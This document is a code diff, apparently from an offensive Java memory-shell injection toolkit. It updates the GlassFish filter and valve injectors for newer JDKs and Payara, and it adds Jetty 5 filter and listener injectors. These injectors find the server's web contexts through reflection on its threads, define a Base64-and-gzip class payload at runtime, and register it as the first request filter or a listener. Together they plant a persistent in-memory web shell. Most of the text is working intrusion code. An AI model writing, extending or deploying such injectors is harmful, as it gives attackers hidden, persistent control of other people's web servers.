|
||||||
|
|
||||||
|
private List<?> resolveProtocols(Object obj) {
|
||||||
|
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
|
||||||
|
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
|
||||||
|
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object invokeNoArgs(Object obj, String str) {
|
||||||
|
if (obj == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
return obj.getClass().getMethod(str).invoke(obj);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object invokeStaticNoArgs(Class<?> cls, String str) {
|
||||||
|
try {
|
||||||
|
return cls.getMethod(str).invoke(null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFieldValue(Object obj, String str) {
|
||||||
|
if (obj == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
Class<?> superclass = obj.getClass();
|
||||||
|
while (true) {
|
||||||
|
Class<?> cls = superclass;
|
||||||
|
if (cls == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Field declaredField = cls.getDeclaredField(str);
|
||||||
|
declaredField.setAccessible(true);
|
||||||
|
return declaredField.get(obj);
|
||||||
|
} catch (Exception e) {
|
||||||
|
superclass = cls.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<?> toList(Object obj) {
|
||||||
|
Object value = extractOptionalValue(obj);
|
||||||
|
if (value instanceof Collection) {
|
||||||
|
return new ArrayList<>((Collection<?>) value);
|
||||||
|
}
|
||||||
|
if (value instanceof Map) {
|
||||||
|
return new ArrayList<>(((Map<?, ?>) value).values());
|
||||||
|
}
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object extractOptionalValue(Object obj) {
|
||||||
|
if (obj instanceof Optional) {
|
||||||
|
return ((Optional<?>) obj).orElse(null);
|
||||||
|
}
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object firstElement(List<?> list) {
|
||||||
|
if (list.isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return list.get(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
private ProviderConfig castProviderConfig(Object obj) {
|
||||||
|
if (obj instanceof ProviderConfig) {
|
||||||
|
return (ProviderConfig) obj;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ApplicationConfig castApplicationConfig(Object obj) {
|
||||||
|
if (obj instanceof ApplicationConfig) {
|
||||||
|
return (ApplicationConfig) obj;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> castRegistries(List<?> list) {
|
||||||
|
return list.stream()
|
||||||
|
.filter(RegistryConfig.class::isInstance)
|
||||||
|
.map(RegistryConfig.class::cast)
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object resolveConfigManager() {
|
||||||
|
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
|
||||||
|
if (objInvokeStaticNoArgs != null) {
|
||||||
|
return objInvokeStaticNoArgs;
|
||||||
|
}
|
||||||
|
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
|
||||||
|
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatUrls(List<?> list) {
|
||||||
|
return list.stream()
|
||||||
|
.map(this::formatUrl)
|
||||||
|
.collect(Collectors.joining(", "));
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatProtocolAddresses(List<?> list, String str) {
|
||||||
|
return list.stream()
|
||||||
|
.map(obj -> formatProtocolAddress(obj, str))
|
||||||
|
.collect(Collectors.joining(", "));
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatUrl(Object obj) {
|
||||||
|
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
|
||||||
|
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
|
||||||
|
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||||
|
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatProtocolAddress(Object obj, String str) {
|
||||||
|
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
|
||||||
|
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||||
|
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String stringValue(Object obj, String str) {
|
||||||
|
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Integer integerValue(Object obj) {
|
||||||
|
if (obj instanceof Number) {
|
||||||
|
return Integer.valueOf(((Number) obj).intValue());
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> castProtocols(List<?> list) {
|
||||||
|
return list.stream()
|
||||||
|
.filter(ProtocolConfig.class::isInstance)
|
||||||
|
.map(ProtocolConfig.class::cast)
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
|
||||||
|
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
|
||||||
|
addProtocols(linkedHashMap, collection);
|
||||||
|
addProtocols(linkedHashMap, collection2);
|
||||||
|
return new ArrayList<>(linkedHashMap.values());
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
|
||||||
|
if (collection == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for (ProtocolConfig protocolConfig : collection) {
|
||||||
|
if (protocolConfig != null) {
|
||||||
|
map.put(protocolKey(protocolConfig), protocolConfig);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String protocolKey(ProtocolConfig protocolConfig) {
|
||||||
|
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getErrorMessage(Throwable th) {
|
||||||
|
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||||
|
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
|
||||||
|
th.printStackTrace(printStream);
|
||||||
|
return byteArrayOutputStream.toString();
|
||||||
|
} catch (IOException e) {
|
||||||
|
return String.valueOf(th);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+43
-1
@@ -87,16 +87,58 @@ public class GlassFishFilterInjector {
|
|||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object container = getContainerFromProcessor(target);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||||
|
if (childrenMap == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
if (children != null) {
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadTarget(Thread thread) throws Exception {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target == null) {
|
||||||
|
// JDK 21+
|
||||||
|
Object holder = getFieldValue(thread, "holder");
|
||||||
|
if (holder != null) {
|
||||||
|
target = getFieldValue(holder, "task");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return target;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||||
|
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||||
|
*/
|
||||||
|
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||||
|
Object container = getFieldValue(target, "this$0");
|
||||||
|
if (container != null) {
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||||
|
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+43
-1
@@ -76,7 +76,15 @@ public class GlassFishValveInjector {
|
|||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object container = getContainerFromProcessor(target);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||||
Collection<?> values = childrenMap.values();
|
Collection<?> values = childrenMap.values();
|
||||||
for (Object value : values) {
|
for (Object value : values) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
@@ -87,6 +95,40 @@ public class GlassFishValveInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadTarget(Thread thread) throws Exception {
|
||||||
|
try {
|
||||||
|
return getFieldValue(thread, "target");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
// JDK 21+
|
||||||
|
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||||
|
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||||
|
*/
|
||||||
|
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||||
|
try {
|
||||||
|
return getFieldValue(target, "this$0");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||||
|
Object base = getFieldValue(atomic, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
Object base = getFieldValue(target, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+297
@@ -0,0 +1,297 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Jetty5FilterInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Jetty5FilterInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
|
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||||
|
|
||||||
|
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Object filterHolder = invokeMethod(
|
||||||
|
webApplicationHandler,
|
||||||
|
"defineFilter",
|
||||||
|
new Class[]{String.class, String.class},
|
||||||
|
new Object[]{getClassName(), getClassName()});
|
||||||
|
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||||
|
invokeMethod(filterHolder, "start");
|
||||||
|
}
|
||||||
|
invokeMethod(
|
||||||
|
webApplicationHandler,
|
||||||
|
"addFilterPathMapping",
|
||||||
|
new Class[]{String.class, String.class, int.class},
|
||||||
|
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
|
||||||
|
moveLastPathFilterToFront(webApplicationHandler);
|
||||||
|
clearChainCache(webApplicationHandler);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
|
String name = contextClassLoader.getClass().getName();
|
||||||
|
if (name.endsWith("ContextLoader")) {
|
||||||
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return getFieldValue(context, "_servletHandler");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void moveLastPathFilterToFront(Object webApplicationHandler) {
|
||||||
|
try {
|
||||||
|
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||||
|
if (pathFilters != null && pathFilters.size() > 1) {
|
||||||
|
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
|
||||||
|
pathFilters.add(0, filterMapping);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void clearChainCache(Object webApplicationHandler) {
|
||||||
|
clearCacheField(webApplicationHandler, "_chainCache");
|
||||||
|
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void clearCacheField(Object object, String name) {
|
||||||
|
try {
|
||||||
|
Object cache = getFieldValue(object, name);
|
||||||
|
if (cache instanceof Map[]) {
|
||||||
|
Map[] maps = (Map[]) cache;
|
||||||
|
for (int i = 0; i < maps.length; i++) {
|
||||||
|
if (maps[i] != null) {
|
||||||
|
maps[i].clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+440
@@ -0,0 +1,440 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.EventListener;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Jetty5ListenerInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Jetty5ListenerInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object context, Object listener) throws Exception {
|
||||||
|
if (hasListener(context)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||||
|
try {
|
||||||
|
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
|
||||||
|
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||||
|
}
|
||||||
|
ensureJsr154Filter(webApplicationHandler);
|
||||||
|
syncJsr154Filter(webApplicationHandler);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
